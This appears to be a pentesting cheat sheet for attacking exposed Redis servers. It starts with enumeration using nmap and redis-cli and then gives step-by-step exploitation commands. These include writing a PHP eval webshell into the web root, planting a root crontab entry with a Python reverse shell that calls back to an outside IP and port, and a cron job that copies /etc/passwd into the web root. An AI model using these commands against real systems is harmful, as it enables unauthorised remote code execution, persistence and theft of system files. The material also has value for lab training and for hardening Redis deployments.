Redis is an in-memory data structure store, used as a database, cache and message broker. It usually uses a plain-text based protocol, but can also implement SSL/TLS.
Hydra supports Redis.
Nmap scripts
ls -la /usr/share/nmap/scripts/redis*
IP=x.x.x.x
nmap --script redis-info -sV -p 6379 $IP
On the server
Instance version
redis-server --version
Redis Client
redis-cli
redis-cli -h <hostname>
This message means that you need valid credentials to access the Redis instance.
-NOAUTH Authentication required.
Commands within the Redis client
Look under the “Keyspace” section to find available databases.
info
client list
config get *
Assuming database ID is 1 (see Keyspace section of “info” command)
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
Webshell
You need the webroot path.
- /usr/share/nginx/html
- /var/www/html
redis-cli -h $IP
config set dir /var/www/html
config set dbfilename redis.php
set test "<?php phpinfo(); ?>"
save
redis-cli -h $IP
config set dir /var/www/html
config set dbfilename sh.php
set payload '<?php eval($_GET[0]);?>'
bgsave
Reverse shell crontab
Not working for now
For Ubuntu and Centos, path is /var/spool/cron/
echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
KALI=x.x.x.x
IP=y.y.y.y
echo -e "\n\n* * * * * cp /etc/passwd /var/www/html/passwd\n\n"|redis-cli -h $IP -x set 1
OK
redis-cli -h $IP config set dir /var/spool/cron/crontabs/
OK
redis-cli -h $IP config set dbfilename root
OK
redis-cli -h $IP save
OK